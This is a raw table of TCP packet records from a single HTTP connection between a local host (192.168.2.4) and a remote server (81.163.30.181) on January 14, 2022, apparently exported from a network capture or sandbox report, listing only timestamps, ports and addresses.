Jan 14, 2022 20:29:59.323507071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.371258974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.371313095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.371354103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.371366978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.371391058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.371408939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.382006884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382090092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.382163048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382208109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382277012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.382285118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382374048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382411957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382457018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.382481098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382535934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.382564068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382603884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382642984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382661104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.382683039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382721901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382740974 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.382761955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382801056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.382860899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.383865118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.383912086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.383941889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.383950949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.383991003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384006977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.384028912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384068966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384084940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.384108067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384149075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384166002 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.384191036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384228945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384246111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.384269953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384309053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384325027 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.384346962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384387016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384402990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.384426117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384464979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384480953 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.384520054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384558916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384576082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.384598017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384639025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384651899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.384676933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384717941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384732008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.384757996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.384814024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.385448933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385504961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385545969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385560036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.385585070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385626078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385639906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.385667086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385704994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385718107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.385745049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385796070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.385823965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385896921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385937929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.385957003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.385977030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386017084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386032104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.386055946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386096954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386107922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.386137962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386178017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386192083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.386217117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386256933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386275053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.386312008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386372089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386372089 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.386413097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386454105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386471033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.386493921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386533976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386548042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.386574030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386614084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386626959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.386672020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386717081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386728048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.386768103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386809111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386825085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.386850119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386883020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386924982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386957884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386991024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.386996984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.387056112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.387319088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387361050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387399912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387419939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.387609959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387655973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387670994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.387693882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387734890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387758970 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.387775898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387814999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387824059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.387854099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387893915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387908936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.387933016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387973070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.387994051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.388010979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388050079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388072968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.388092041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388129950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388143063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.388169050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388211012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388228893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.388247967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388288021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388305902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.388336897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388365030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388390064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388401985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.388420105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.388448954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.429311037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.429336071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.429352045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.429368973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.429375887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.429399014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.429439068 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.446669102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446696043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446729898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446747065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446763992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446774960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446788073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446800947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446824074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446821928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.446855068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446863890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.446872950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446875095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.446886063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446903944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446914911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.446933985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.446943998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.446944952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446950912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.446959972 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.446962118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.446990013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447009087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447025061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447026014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447041988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447043896 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447060108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447076082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447077036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447110891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447118044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447134972 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447135925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447159052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447175980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447185993 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447205067 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447215080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447226048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447237968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447242975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447261095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447299004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447299957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447314978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447318077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447335958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447354078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447362900 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447374105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447381973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447391033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447393894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447410107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447422981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447427034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447446108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447468996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447479963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447484016 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447496891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447505951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447515011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447531939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447549105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447557926 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447567940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447582960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447585106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447601080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447617054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447633028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447634935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447643042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447650909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447670937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447676897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447689056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447702885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447707891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447724104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447726011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447745085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447761059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447765112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447777033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447792053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447793961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447807074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447813988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447827101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447830915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447849035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447849035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447860003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447865963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447884083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447885036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447901964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447910070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447918892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447931051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447937012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447957039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447962046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.447973013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447989941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.447993040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448005915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448023081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448038101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448040962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448045969 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448057890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448075056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448076010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448093891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448103905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448112011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448131084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448131084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448148012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448165894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448179007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448184013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448189020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448205948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448209047 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448223114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448227882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448240042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448256969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448268890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448275089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448291063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448292017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448307991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448326111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448340893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448343039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448350906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448359966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448370934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448378086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448395014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448409081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448411942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448430061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448431015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448446035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448462963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448481083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448482037 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448492050 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448498011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448514938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448515892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448532104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448549032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448554039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448565960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448570013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448581934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448600054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.448601007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448637962 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.448652029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.488955975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.489006042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.489110947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.489269018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.506805897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.506845951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.506907940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.506911039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.506944895 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.506949902 CET	80	49882	81.163.30.181	192.168.2.4
